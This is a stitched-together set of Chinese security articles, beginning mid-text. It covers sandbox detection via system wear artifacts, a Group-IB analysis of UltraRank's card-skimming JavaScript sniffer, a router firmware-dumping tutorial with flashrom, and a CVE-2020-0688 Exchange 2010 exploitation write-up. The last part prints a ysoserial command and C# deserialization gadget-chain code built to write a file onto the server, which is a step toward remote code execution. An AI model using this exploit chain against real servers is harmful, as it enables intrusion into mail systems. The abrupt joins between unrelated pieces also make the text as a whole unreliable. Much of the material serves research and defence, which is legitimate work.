2. 删除丢失率超过80％的artifact。
(1) Linear Regression:
* 公式: Y =β0+β1X1+β2X2+ … +ε (Xi是给定的artifact值，βi是对应的权重，Y是预测的年龄)
* 数据集: 训练（60％），测试（40％）
* 评估: 十折交叉验证
* 结果: 真实系统的预测年龄的最终均方误差（MSE）是1.88，而沙箱的MSE非常高，为6.25。
* 结论: 使用artifact的磨损程度来预测系统年龄是可行的，也就是说使用预测年龄和系统的生成年龄的对比来识别沙箱是可行的。
PS: 十折交叉验证，英文名叫做10-fold cross-validation，用来测试算法准确性。是常用的测试方法。将数据集分成十份，轮流将其中9份作为训练数据，1份作为测试数据，进行试验。
表VII中报告了模型的系数及其p值。 我们看到13种artifact磨损程度与机器的年龄相关，具有统计学意义。
图7显示了在Dreal和Dsand系统上应用线性回归模型时残差值的累积分布函数(CDF)。可以看到在尝试预测沙箱年龄时的残差值是非常高的。
(2) Lasso Regression
* 目的: 验证复杂的回归模型是否会带来更好的预测准确性
* 套索回归的优点: 比线性回归使用更少的预测变量，这降低了整体模型的复杂性。 对于恶意软件，较小的功能集意味着对底层操作系统的API调用较少，从而减少了触发可疑活动监视器的机会。
* 数据集: 训练集，评估集和测试集
* 方法: 交叉验证来找到最佳的λ值
* 结果: Dreal集的MSE为0.749，Dsand集上的MSE为4.45，优于线性回归
* 结论: Lasso模型可以更好地辨别沙箱。
表VIII显示了Lasso模型选择的八个特征，它们是系统年龄及其相应系数的良好预测因子。
小结: 使用artifact磨损程度来预测系统年龄是可行的，这一方面可以用于辨识沙箱；另一方面是可以帮助sandbox开发人员创建系统年龄相符的沙箱环境
## VII. DISCUSSION
### A. Ethical Considerations and Coordinated Disclosure
本文主要讲述了这种新的规避技术的有效性，并且目前已经出现了此类相关工作的恶意软件。但是本文主要是为了帮助创建更强大的恶意软件分析系统。
### B. Probing Stealthiness
1. 总是存在不受监控的artifact集；
2. 虽然最小特权原则造成的系统API调用限制，可访问的环境限制，但是依旧可以从其他不受限制的artifact集获取大量信息；
### C. OS Dependability
文章虽然是基于Windows平台在进行artifact的分析，但其中的一些artifact并不是其特有的，在其它系统例如Linux，Mac，Android等也同样适用。如果想适用Java等编写跨平台的恶意软件，就可以去关注那些不依赖于特定系统而存在的artifact。
### D. Defenses
1. 克隆真实用户系统并将其用作恶意软件沙箱的基础。
缺点:
i) 隐私问题（如何在克隆之前或之后擦除所有私人信息，但保留磨损工件完整？）；
ii) artifact的老化问题(攻击者可以使用我们提出的统计模型来检测声称的年龄与磨损程度不匹配的情况)。
2. 从新安装的操作系统映像开始，通过自动模拟用户操作人为地使其老化。
缺点:尚不清楚这种人工老化在多大程度上会产生与真实系统相似的artifact情况。
## VIII. CONCLUSION AND FUTURE WORK
本文主要做了两个方面工作:
1. 攻击者角度:将Windows系统的一些不涉及用户隐私的artifact作为特征，使用决策树分类器进行训练，最终可以在92.86％的准确度上来识别沙箱环境。
2. 防御者角度:将系统的artifact特征与系统的年龄进行联系并提出统计模型，从而帮助沙箱操作人员对系统进行微调，使其具有更逼真的磨损特性。
未来工作:
1. 克隆真实用户系统并将其用作恶意软件沙箱的基础。
2. 自动模拟用户操作人为地使系统其老化到所需程度。
3. 不同的桌面操作系统以及移动设备中评估基于artifact磨损特性的沙盒规避的有效性。
* * * | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接：<https://www.group-ib.com/blog/ultrarank>**
### 介绍
2020年8月，Group-IB发布了报告“[UltraRank: the unexpected twist of a JS-sniffer triple
threat](https://www.group-ib.com/resources/threat-research/ultrarank.html
"UltraRank: the unexpected twist of a JS-sniffer triple
threat")”。这个报告描述了网络犯罪组织 **UltraRank** 的活动，该组织在五年里成功攻击了691家电子商务商店和13家网站服务提供商。
2020年11月，我们发现了 **新一轮的UltraRank攻击**
。攻击者没有使用现有的域进行新的攻击，而是改用新的基础架构来存储恶意代码并收集拦截的支付数据。
在UltraRank的新活动中，我们发现了12个被JavaScript-sniffer感染的电子商务网站。
这次，JS sniffer的代码使用了 **Radix** 模糊处理。然后，攻击者使用了 **SnifLite家族**
的sniffer。由于受感染网站的数量相对较少，攻击者最有可能使用了CMS管理面板中的凭据，而这些凭据又可能被恶意软件或暴力攻击破坏。
在最近的一系列攻击中，UltraRank模仿合法的Google Tag Manager域将恶意代码存储在网站上。研究发现，攻击者的主服务器由Media
Land LLC托管，该公司与一家防弹托管公司有联系。
图1：混淆的sniffer代码片段
### JS Sniffer代码分析
至少2019年1月开始，UltraRank就开始使用SnifLite JS
Sniffer系列，当时它被用于[攻击](https://www.trendmicro.com/en_us/research/19/a/new-magecart-attack-delivered-through-compromised-advertising-supply-chain.html
"攻击")Adverline广告网络。恶意代码通过指向`hXXp://googletagsmanager[.]co/`网站上的JS文件的链接上载到受感染的网站。该域名伪装为Google跟踪代码管理器googletagmanager.com的合法域。攻击者的网站`hXXp://googletagsmanager[.]co/`也可用于收集被拦截的支付卡数据（图2）。
图2:deobflusced JS Sniffer代码片段，其中有一个到gate的链接，用于收集被截获的卡信息
图3显示了负责拦截SnifLite
Sniffer系列中付款信息的函数。数据收集算法基于函数querySelectorAll，就像该组织先前使用的FakeLogistics和WebRank
sniffer一样。
收集数据后，它将数据写入名为google.verify.cache.001的本地储存中。
图3：带有用于收集支付卡数据功能的JS sniffer代码片段
仅当用户所在页面的当前地址包含以下关键字之一（图4）时，才收集和发送数据：
* onepage
* checkout
* store
* cart
* pay
* panier
* kasse
* order
* billing
* purchase
* basket
在发送被拦截的支付卡信息之前，其数据会从本地存储的_google.verify.cache.001对象中提取，并通过HTTP GET请求传输给攻击者。
图4:JS sniffer代码片段，该代码具有将收集到的数据发送到攻击者服务器的功能
### 基础设施分析
在分析sniffer基础设施时，我们发现了一个标准PHP脚本，这是UltraRank所有网站的典型脚本。除了关于发送的请求和服务器的公共信息外，脚本还显示了服务器的真实IP地址。分析时，`googletagsmanager[.]`共域的IP地址为8.208.16[.]230（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=8.208.16.230
"ZoomEye搜索结果")）（AS45102，阿里巴巴（美国）技术有限公司）。同时，真正的服务器地址是45.141.84[.]239（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=45.141.84.239
"45.141.84\[.\]239")）`（图5），属于Media Land LLC（AS206728）。Media Land
LLC与一家名为Yalishanda的防弹托管公司有[关联](https://krebsonsecurity.com/2019/07/meet-the-worlds-biggest-bulletproof-hoster/
"关联")，该公司为网络犯罪分子提供服务。据推测，Yalishanda的服务使用从包括阿里巴巴在内的多家供应商租用的云服务器来托管部分网络犯罪分子的基础设施。
除了服务器IP地址，脚本还指定了服务器上网站文件所在的目录`hXXp://googletagsmanager[.]co/:worker`。
图5：脚本输出，其中包含有关googletagsmanager.co域所在服务器的信息
IP地址45.141.84[.]239（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=45.141.84.239
"ZoomEye搜索结果")）也链接到网站`hXXp://s-panel[.]su/`。在分析过程中，再次在UltraRank基础结构的所有网站上找到了相同的脚本（图6）。在这种情况下，所有网站文件所在的目录称为
**panel** 。
图6：脚本输出，其中包含有关域s-panel.su所在服务器的信息
除公用服务器外，我们还检测到一个SSL证书`50e15969b10d40388bffbb87f56dd83df14576af`。该证书位于`googletagsmanager.co`域和IP地址为`45.141.84[.]239`的服务器上，该服务器与`s-panel[.]su`域相关联（图7）。
图7：证书50e15969b10d40388bffbb87f56dd83df14576af
通过对网站`hXXp://s-panel[.]su/`的进一步分析，发现了登录表单。据推测，该网站被攻击者用作sniffer控制面板：所有被盗的支付卡数据都收集在面板中，用于之后的渗透和转售。
图8：在网站s-panel.su上找到的登录表单
我们还发现了`googletagsmanager[.]info`域。2020年9月，此域的IP地址与`googletagsmanager[.]co
(8.208.96.88)`（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=8.208.96.88
"ZoomEye搜索结果")）相同。但是，在撰写本文时，该网站处于非活动状态，尚未发现使用该网站的电子商务感染案例。
### Ioc
* googletagsmanager[.]co
* googletagsmanager[.]info
* s-panel[.]su
### 建议
**对于银行**
* 使用支付卡时，通知用户在线支付过程中可能出现的风险。
* 如果与您所在银行有关的支付卡已被盗用，请及时处理这些卡，并通知用户。
**对于电子商务网站的管理员**
* 使用复杂且唯一的密码来访问网站的管理面板和用于管理的任何服务，例如phpMyAdmin、Adminer。如果可能，请设置两因素身份验证。
* 及时更新软件，包括网站的CMS。请勿使用过时或不受支持的CMS版本。这将有助于减少服务器受到威胁的风险，并使攻击者更难以下载Web Shell和安装恶意代码。
* 定期检查商店中是否存在恶意软件，并对网站进行安全审核。例如，基于CMS Magento的网站，您可以使用Magento安全扫描工具。
* 使用适当的系统记录网站上发生的所有更改，记录对网站控制面板和数据库的访问并跟踪文件更改日期。这有助于检测感染了恶意代码的网站文件，并跟踪对网站或Web服务器的未经授权的访问。
**对于支付系统/支付银行**
* 如果您为电子商务网站提供支付服务，请在接受网站上的在线支付时定期向客户告知基本的安全技术，以及JavaScript sniffer的威胁。
* 确保您的服务使用正确配置的安全策略。
* * * | 社区文章 |
本文为我们发表的与便携式路由器安全性相关的第二篇评估文章。在本篇文章中，我们将使用工具和设备在我们的目标路由器上制作硬件，方便我们对路由器进行完整的评估。
有的时候，制造商可以从网络上进行对硬件的更新操作。由于这个过程只是软件上的一次更新，所以其可比较内容并不完整。我们希望能够对更新前与更新后的硬件情况进行比较以便我们能够了解到更新后的路由器的变化。
使用完整的硬件设备，我们可以浏览路由器的文件系统并研究与安全相关的开发任务。 包括它们是否有行政相关的后门？是否含有文档中所没有写到的功能等？
最终，我们希望通过研究能够更好地了解设备的工作原理，并获得完整的分析图片。
### 产品预购
我在第一篇博客中所提及的产品解决方案中，我们发现它没有计算力足够强大的arm芯片，所以不容易进行安全性分析。所以在本文中，我们策划了更强大的解决方案。
我们可以使用这些硬件来组装我们实验所需要的路由器，指示灯，USB显微镜和其他设备。
这个装置虽然看起来像我的桌子上的太空章鱼，但是却更有用。
我们还需要一个SOIC 8 PIN的夹子。
我们使用它来连接`eeprom`而无需拆焊实际芯片。
（拆焊往往会导致芯片无法再次工作，至少对我而言。）因为原版的SOIC夹较为好用并且我也在网络上在线阅读过有关“廉价”SOIC夹和更昂贵的相关区别，所以我买了一些昂贵的SOIC夹。那些便宜的会经常脱落。
我还买了一些跳线，用于将夹子管道连接到我的诊断设备上。
另外，我还购买了一个小型USB显微镜。 这个设备并没什么特别的：用于对目标放大200倍。 芯片上的印刷的字体非常小，我在努力阅读它。
SuperEyes宣称这个显微镜被用于牙科。 它也适用于读取各种芯片上的小标记。
### 硬件采集
有几种方法可以对硬件进行采集。 最常见的是来自`Dangerous Prototypes`的`Bus Pirate`方法。
经过一些研究后，我发现一下几种版本的`Bus Pirate`可用。 在`Dangerous
Prototype`页面上看到这个评论后，我选择了第3版（准确地说是v3.6）：如果用户想使设备更好使用并且没有那么多麻烦存在的话，`Bus Pirate
v3`是最好的选择。 虽然v4一直在不断改进，但是目前它的硬件边缘比较粗糙。
我一共购买了三款`Bus Pirates`设备：两个v3.6版本和一个v4.0版本。
我计划是使用v3.6的存储空间，存储它所带来的加载器和硬件，并有一个备用的更新到社区加载器和社区固件。
`4.0 Bus Pirate`可以进行远程攻击然而3.6或其他版本都不能成功运行。（Bus Pirate v4仍然通过我们的通信系统来进行工作。）
Bus Pirate拥有最多的博客文章和YouTube视频，这些文章向用户解释了它的用途，但在我的研究中，我发现了一些阻碍我研究的信息。
`Bus Pirate`具有危险性的版本已经停止更新，在它的最新版本中，它已经拥有了所必须的功能。然而当我将`Bus
Pirate`与我在Linux开发机器上使用的软件`flashrom`结合使用时，它显示的是我的v3.6型号附带的固件版本。
进一步的研究之后，我发现了`Xipiter`厂商制造的`Shikra`信息。 我购买了其中一个，打算用它来转储路由器硬件并将其与使用Bus
Pirate获得的硬件进行比较。 使用多种方法来实现相同的结果永远不会失效。
### 实验阶段
我们依据快速而宽松的规则来查看路由器主板，中心的大芯片是处理器，侧面的小芯片是eeprom。 如果遇到什么问题，谷歌搜索芯片上的数字将有助于识别它们。
在某些情况下，板子上拥有三个芯片，而第三个便是RAM。 一些功能更全面的设备可能拥有更多芯片。
在我们的例子中，我们正在寻找`eeprom`。 `eeprom`用于存储相对少量的数据，但允许单个字节被擦除和重新编程。
硬件制造商可以通过擦除芯片标识符，将其覆盖在环氧树脂中，以便让我们难以读懂相关芯片信息。
我们的目标设备上的`eeprom`是比较小的芯片，如图所示，其长度为8英尺。
一旦我们转储了固件，我们便可以比较制造商网站上提供的最新固件和我们提取的固件。
如果我们正在寻找漏洞，那么在我们的路由器上所安装的旧固件更容易为我们所用以进行实验。 它为我们提供了新版本中更改内容。包括补丁解决了什么问题。
### 调查eeprom
我没有使用SuperEyes显微镜附带的中文应用程序，而是在Linux中安装了“Cheese”应用。
Cheese可以使用我们设备上的网络摄像头，因此我在首选项中选择了USB 2.0摄像头，并且能够在Ubuntu中使用它。
下面就是实验中难以攻克的地方。我们必须将引脚从eeprom映射到`SOIC引脚`，然后从`SOIC`引脚映射到`BusPirate`或`Shikra`接口。
我们可以通过芯片上的点识别引脚1，但我们需要上线并找到该芯片的数据表，以了解如何连接它。 我用Google搜索了几张数据表，但无法找到完全匹配的内容。
在这一点上，我们可以使用示波器，但这有点超出我们的预算，所以我们将猜测它并使用类似的eeprom芯片的引脚。
我查询的许多资料都表明这可能是`Gigadevice`芯片。 虽然没有针对哪些引脚做什么的标准，但大多数数据表都有如下图：
我通过芯片连接SOIC芯片夹。 从上面看，它看起来像这样：
我用显微镜验证了针脚是否正确就位并与eeprom的“脚”接触，如下：
我们读取到`eeprom`的协议是`SPI`，`Shikra`引脚文档中有一个SPI图表。
我们需要将引脚从eeprom映射到Shikra，以成功转储芯片的内容。
我查找了芯片的每个首字母缩略词，以及Shikra（用于SPI）的每个首字母缩略词，并制作了一个图表，以了解哪些引脚需要从一个引脚连接到另一个引脚。
eeprom位于图表的左侧，而Shikra在右边。
这里是我们完成的结果，从芯片到夹子，通过跳线到Shikra。
在我们的`Linux`笔记本电脑上，我们可以发出命令`“$ dmesg | grep tty“`来确认Shikra可以被正确检测到并位于ttyUSB0处。
这是我们应该看到的输出：
我们需要一个名为`flashrom`的应用程序。 一个简单的命令`“$ sudo apt-get install flashrom”`会帮助我们做到这一点。
要转储固件，我们向Shikra发出此命令`“$ flashrom -p ft2232_spi：type = 232H -r spidump.bin”`命令。
Flashrom将芯片识别为GD21Q16（B），凭借这些内容，谷歌搜索出了确切的数据表。 就像以PDF格式获得正确的数据表一样，但我们的猜测得到了回报。
我们现在有一个eeprom的转储，我们可以继续我们的研究。 我重复了上述步骤，并将丢弃了硬件设备。 Bus Pirate确实需要更长时间才能转储固件。
当我使用Bus Pirate时，Flashrom在转储过程中出现了提示，但是它还是成功完成了。
### 下一步操作
所以我们现在拥有了路由器上的部分硬件。
在下面的文章中，我们将查看我们所提取的硬件，并对硬件相关的漏洞进行分析研究。我们还将查看从制造商网站下载的硬件新版本，并对两者进行比较。
本文为翻译稿件，原文为：https://blog.malwarebytes.com/101/how-tos/2018/12/assessing-the-security-of-a-portable-router-a-look-inside-its-hardware-part-deux/ | 社区文章 |
**作者：EazyLov3
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！
投稿邮箱：[email protected]**
## 0x10 起因
近期在众所周知的活动中，各种漏洞利用花样不断，值得好好复盘一番。其中一位蓝方朋友负责的Exchange Server
2010沦陷引起了我的兴趣，因为日志被删没有第一时间找到入侵方法，对比备份后发现ecp目录下存在一名为LiveIdError.aspx的空白文件，Google了一下才发现是[CVE-2020-0688反序列化攻击](https://www.microsoft.com/security/blog/2020/06/24/defending-exchange-servers-under-attack/) ，但细究一下竟发现没有针对Exchange Server
2010及以下版本的公开利用方法，似乎是因为低版本.Net Framework(下称fx)的反序列化限制而难以利用。
在可利用性得到@zcgonvh 前辈肯定之后，本文尝试复现这个漏洞在Exchange Server 2010环境下的利用方法。
## 0x20 漏洞相关资料
对.Net和Exchange都一无所知的我来说，首先要做的当然是先搞清楚为什么现有的PoC和利用方法不能利用在低版本，具体限制是什么。
### 0x21 现有的利用方式的关键Payload
在GitHub检索CVE-2020-0688关键字，排名靠前的有以下几个项目
https://github.com/Ridter/cve-2020-0688
https://github.com/random-robbie/cve-2020-0688
https://github.com/zcgonvh/CVE-2020-0688
https://github.com/Yt1g3r/CVE-2020-0688_EXP
https://github.com/Jumbo-WJB/CVE-2020-0688
大致看了一遍这些项目的说明和代码，核心Payload均是由ysoserial.net项目的TextFormattingRunProperties反序列化链构造而实现命令执行，其中zcgonvh前辈的[红队武器化利用分析](https://www.t00ls.net/viewthread.php?tid=55183)和exp大放异彩，实现真正的远程代码执行，使漏洞潜力得到完全发挥，分析、检测、利用和修复的方式都相当精致，堪称艺术。
多次研读文章，发现exp通过第一阶段反序列化漏洞攻击在ecp下写入LiveIdError.aspx白文件，第二阶段则通过默认MachineKey生成ViewState的序列化payload，POST给第一阶段生成的白文件执行，实现远程加载任意.Net代码。
搭建Exchange Server 2010环境手动在ecp下创建LiveIdError.aspx后发现同样可以使用第二阶段的利用，比较接近攻击者的思路。
因此本文也以寻找方法在第一阶段实现写入LiveIdError.aspx文件为目标。
而该exp第一阶段写入文件的Payload仍是由TextFormattingRunProperties反序列化链构造。
### 0x22 为什么是TextFormattingRunProperties
根据[分析](https://www.t00ls.net/viewthread.php?tid=55183)，这个漏洞本质上是ecp目录下默认加密密钥沿用多年结合viewstate特性造成，理论上该目录下所有aspx脚本均有可能触发，除非web.config特别声明该aspx由PageHandlerFactory以外的类处理，
<https://github.com/Yt1g3r/CVE-2020-0688_EXP>
这里也列出了其他的触发点，而不局限于/ecp/default.aspx，只是路径不同导致VIEWSTATEGENERATOR参数值不同。又因为ecp下的web.config限制了大多数脚本可接受的请求方法和处理映射，导致默认情况下只能从少数aspx的GET请求中传入序列化payload。
而IIS的GET请求的参数和值长度加起来最多只能接受2048字节，而ysoserial.net项目生成的Payload大多很长，其中的由Oleksandr
Mirosh发现TextFormattingRunProperties链则被特别标注为用于生成尽可能短的反序列化Payload，因此应用较多。
那么也先应用在低版本试试。
### 0x23 为什么TextFormattingRunProperties在低版本不可用
首先搭建Exchange Server 2010 SP3 + Windows Server 2008 R2，所有环境配置默认。
由于登陆过程有些细节不同，所以将zcgonvh的exp中做一些微调，主要是注释掉登录校验的return。
为了方便得到调试信息，直接在Exchange服务器上执行Exp，用burp抓包返回500报错，说明很可能已触发反序列化，但并没有写入LiveIdError.aspx文件，使用其它exp也无法执行命令。得到异常堆栈如下
[SerializationException: Unable to find assembly 'Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35'.]
System.Runtime.Serialization.Formatters.Binary.BinaryAssemblyInfo.GetAssembly() +3129209
System.Runtime.Serialization.Formatters.Binary.ObjectReader.GetType(BinaryAssemblyInfo assemblyInfo, String name) +10111295
System.Runtime.Serialization.Formatters.Binary.ObjectMap..ctor(String objectName, String[] memberNames, BinaryTypeEnum[] binaryTypeEnumA, Object[] typeInformationA, Int32[] memberAssemIds, ObjectReader objectReader, Int32 objectId, BinaryAssemblyInfo assemblyInfo, SizedArray assemIdToAssemblyTable) +198
System.Runtime.Serialization.Formatters.Binary.__BinaryParser.ReadObjectWithMapTyped(BinaryObjectWithMapTyped record) +272
System.Runtime.Serialization.Formatters.Binary.__BinaryParser.Run() +235
System.Runtime.Serialization.Formatters.Binary.ObjectReader.Deserialize(HeaderHandler handler, __BinaryParser serParser, Boolean fCheck, Boolean isCrossAppDomain, IMethodCallMessage methodCallMessage) +559
System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Deserialize(Stream serializationStream, HeaderHandler handler, Boolean fCheck, Boolean isCrossAppDomain, IMethodCallMessage methodCallMessage) +326
System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Deserialize(Stream serializationStream) +33
System.Web.UI.ObjectStateFormatter.DeserializeValue(SerializerBinaryReader reader) +10963475
System.Web.UI.ObjectStateFormatter.Deserialize(Stream inputStream) +136
[ArgumentException: The serialized data is invalid.]
System.Web.UI.ObjectStateFormatter.Deserialize(Stream inputStream) +10963500
System.Web.UI.ObjectStateFormatter.Deserialize(String inputString) +446
System.Web.UI.Util.DeserializeWithAssert(IStateFormatter formatter, String serializedState) +59
System.Web.UI.HiddenFieldPageStatePersister.Load() +124
这里提示找不到Microsoft.PowerShell.Editor这个程序集，可根据TextFormattingRunProperties链首先发现者Oleksandr
Mirosh的说明，这个程序集Win7以后即包含在系统中，只是可能需要修改版本号。直接在Exchange服务器上搜索这个dll，发现存在于C:\Windows\winsxs\msil_microsoft.powershell.editor_31bf3856ad364e35_6.1.7601.17514_none_e1afc4bb6ff47625目录下，反编译了一下只是包名有所不同，改改payload还能用，但这个目录似乎不在GAC中，祭出dnSpy在Windows
Server 2008 R2环境下搜索这个类，同样无法找到，说明确实不在.net可全局调用的GAC中。
琢磨了一番，又不能通过指定路径的方式使反序列化的时候去调用到这个DLL，因此TextFormattingRunProperties链在这里似乎断裂了，至少我已经想不到还有什么办法能调用到它。
现在只能考虑寻找其他链来利用这个漏洞，并且利用链有两个必要条件，首先其用到的所有类必须在fx
3.5的默认GAC或Exchange的类库中，其次，生成的Payload不可过长，除去参数名，实际payload大约不能超过2000字节，这听起来太CTF了。
## 0x30 一些失败的尝试
检索一番资料后发现公开的.net反序列化链都已经汇总到ysoserial.net项目中，下载1.34版本测试这些链轮番上阵后均以失败告终，具体原因如下。
(*) ActivitySurrogateDisableTypeCheck
这条链用于禁用fx4.8以上的类型检查，与本次漏洞利用无关
(*) ActivitySurrogateSelector
(*) ActivitySurrogateSelectorFromFile
以上两条链都是远程加载任意.Net程序集的形式，所以会大幅增加Payload长度，直接pass
(*) AxHostState
结合调用TextFormattingRunProperties故不可行
(*) ClaimsIdentity
同上
(*) DataSet
同上
(*) ObjectDataProvider
生成格式并非本次漏洞要求的BinaryFormatter
(*) PSObject
CVE-2017-8565攻击，这是为数不多的被微软修复的反序列化链，且不说已有补丁，这个类在fx3.5下压根没标记为可序列化，而且Payload长度也超出预期，当然也就不考虑继续利用。
(*) RolePrincipal
结合调用TextFormattingRunProperties故不可行
(*) SessionSecurityToken
同上
(*) SessionViewStateHistoryItem
同上
(*) TextFormattingRunProperties
低版本程序集不在GAC中，默认情况下无法调用到
(*) TypeConfuseDelegate
报错找不到SortedSet类，msdn文档显示该类仅存在于fx4.0以上
(*) TypeConfuseDelegateMono
同上
(*) WindowsClaimsIdentity
结合调用TextFormattingRunProperties故不可行
(*) WindowsIdentity
同上
(*) WindowsPrincipal
同上
可以发现格式符合且不依赖TextFormattingRunProperties链的只剩下ActivitySurrogateSelector，PSObject和TypeConfuseDelegate。
第一个缩短payload比较困难，第二个也是如此且有补丁暂时不考虑，第三个调用逻辑最简单，而且在查看ysoserial.net源代码时发现这个链有一段精简过的，硬编码的payload，长度仅1200字节左右，测试可以在Exchange
Server 2013中使用，调用逻辑并不复杂，似乎有应用到更低版本的潜质。
## 0x40 修补残缺的链条
首先看看这条链的最先发现者James
Forshaw的[说明](https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html)，这条链首先创建了一个多播(这里是两个String.Comparer)委托比较器，并由Comparer<String>.Create(Delegate)创建ComparisonComparer转换为IComparer<String>接口格式，然后由SortedSet<String>类包装并设定执行命令的参数，最后修改调用列表将其中一个String.Comparer委托改为执行命令的函数Process.Start(String)再将整个SortedSet对象序列化生成Payload，在反序列化的时候ComparisonComparer将会调用System.Comparison`1.Invoke(T
x, T y)执行之前修改过的委托，从而实现任意代码执行。
按照原作者James Forshaw的说明，由于Comparer<String>Create(Delegate)函数只存在于.Net framework
4.5以上，所以只能应用于4.5以上，不过实测了一下由于ComparisonComparer在4.0就已经存在，而且反序列化过程中并不会调用到Comparer<String>.Create(Delegate)，所以可以通过简单修改实现手动创建这个比较器即可实现在4.0下利用，但在3.5环境下尚不存在，另一关键的SortedSet类也是如此，所以这仍然不符合漏洞利用要求。
接下来尝试找到这两个关键零件的低版本替代。
### 0x41 缺失零件的前世今生
首先看最外层包装的SortedSet类，它本身是一个自动排序对象的集合类，因此替代品应该优先考虑在同一个包System.Collections.Generic下寻找类似特性的集合类，不过在Google这个类时发现大多资料都来源于Java中的SortedSet类，并且在Java中有一个TreeSet类几乎是唯一实现了SortedSet的类。
考虑到C#和Java是异父异母的亲兄弟，于是在微软公开的.Net代码库中检索了一番，发现确实也有[TreeSet](https://referencesource.microsoft.com/#System/compmod/system/collections/generic/sorteddictionary.cs,07052c0941912f81)
而且是直接继承SortedSet类。
虽然是内部类，不过无所谓，在ysoserial.net源码中那段精简过的TypeConfusedelegate链payload里把SortedSet直接改为TreeSet编译后执行
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c calc -t -minify
仍可在fx 4.0下实现命令执行。 不过这份公开代码是fx 4.5以后的版本，3.5和更早以前版本的公开源码已经年代久远，找不到参考资料了。
不过奇怪的是在fx
4.0尚未发布的时候就有人在stackoverflow提过.Net中的TreeSet类相关的[问题](https://stackoverflow.com/questions/2455352)
，推测TreeSet可能早已存在于fx中，但只是以内部类存在。直接祭出dnSpy，直接在本机的fx代码库寻找
果不其然，在2.0版本同一个包System.Collections.Generic下TreeSet就已经存在，没有SortedSet继承所以是独立实现。
大致查看了代码结构和反序列化行为与SortedSet对比只有一些细微的差异，在本次漏洞利用中可以认为没有区别，可直接作为SortedSet的替代品。
再来看看另一个零件ComparisonComparer，再次尝试在低版本同一个包下已寻找类似的替代，却发现几乎没有类似的实现，几乎没有接受Comparison的比较器。根据之前学习这条链的逻辑，最终通过调用System.Comparison`1.Invoke(T
x, T
y)去执行指定委托实现代码执行，System.Comparison类在低版本是存在的，那么对比分析一下Invoke方法在不同版本fx都有被哪些类调用过。
可以发现，同样调用这个方法的高低版本都有一个System.Array.FunctorComparer<T>.Compare(T,
T)，查看代码后发现结构几乎完全一致，仅私有变量命名少了个下划线而已，似乎可以替代ComparisonComparer。
但直接测试才发现这个类没有Serializable标记为可序列化而无法使用。难道这条路走不通？
### 0x42 序列化一个不可序列化的类
不甘心的继续研读zcgonvh的分析，发现这里提到
>
> fx的程序集中存在两个极为重要的工厂类：[mscorlib]System.DelegateSerializationHolder和[System.Workflow.ComponentModel]System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate+ObjectSerializedRef。按照微软的本意，只有标记了SerializableAttribute、实现ISerializable、继承自MarshalByRefObject的类才能进行序列化/反序列化。序列化操作的实现是完全没有问题的，而在反序列化操作中并没有要求返回类型满足上述约束（当然，这是特性而不是漏洞）。借助DelegateSerializationHolder，我们可以反序列化任何委托（无论方法、属性，也不分静态或实例）；而借助ObjectSerializedRef可实现任意类反序列化。
看起来仍然有路可走，现在问题转化为序列化System.Array.FunctorComparer这个不可序列化的类。
继续检索资料，发现ActivitySurrogateSelector链可以序列化任意类，这条链同样由James
Forshaw首先发现，从fx3.0起即可利用，出处同前一篇[文章](https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html)
从中抠出对应的PoC并且结合本次漏洞利用构造以下测试代码尝试构造序列化Payload并反序列化写入文件，由于写文件的WriteAllText函数没有返回值，这里由Func委托改为Action委托，另外需要对本机fx做一些改动所以可能测试代码在其它机器无法运行。
class Program
{
public static Comparison<string> d { get; set; }
public static Delegate da { get; set; }
static void Main(string[] args)
{
ConfigurationSettings.AppSettings.Set(
"microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck",
"true"
);
da = new Comparison<string>(String.Compare);
d = (Comparison<string>)MulticastDelegate.Combine(da, da);
IComparer<string> comp = new System.Array.FunctorComparer<string>(d);
TreeSet<string> set = new TreeSet<string>(comp);
set.Add(@"LiveIdError.aspx");
set.Add("");
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
invoke_list[1] = new Action<string, string>(File.WriteAllText);
fi.SetValue(d, invoke_list);
MemoryStream stream = new MemoryStream();
BinaryFormatter fmt = new BinaryFormatter();
SurrogateSelector ss = new MySu();
fmt.SurrogateSelector = ss;
fmt.Serialize(stream, set);
Console.WriteLine(Convert.ToBase64String(stream.ToArray()));
Console.ReadKey();
stream.Position = 0;
fmt.Deserialize(stream);
}
internal class MySu : SurrogateSelector
{
public override ISerializationSurrogate GetSurrogate(Type type,
StreamingContext context, out ISurrogateSelector selector)
{
selector = this;
if (!type.IsSerializable)
{
Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
return (ISerializationSurrogate)Activator.CreateInstance(t);
}
return base.GetSurrogate(type, context, out selector);
}
}
}
实际执行发现序列化没有问题了，但反序列化却会报错空引用异常System.NullReferenceException，未将对象引用设置到对象的实例。
上dnSpy调试发现反序列化TreeSet时，接收到的构造参数Comparer竟然是null而不是预期的System.Array.FunctorComparer，这一点比较奇怪。
修改测试代码发现反序列化TreeSet时，System.Array.FunctorComparer还处于尚未反序列化状态，当然也就无法传给TreeSet，这可太奇怪了。
### 0x43 调整反序列化顺序
既然我遇到了这个问题，前辈们肯定也遇到过，因此继续尝试理解ActivitySurrogateSelector链。对比本次漏洞利用除了序列化任意类之外，两条链实际上关联不大，一开始以为需要引入Linq处理顺序问题，但迅速意识到那将会大幅增加Payload长度而被否决。反复研读原文和代码后发现
[ActivitySurrogateSelector链的代码](https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Generators/ActivitySurrogateSelectorGenerator.cs)在第84行有这样一句注释
// Pre-load objects, this ensures they're fixed up before building the hash table.
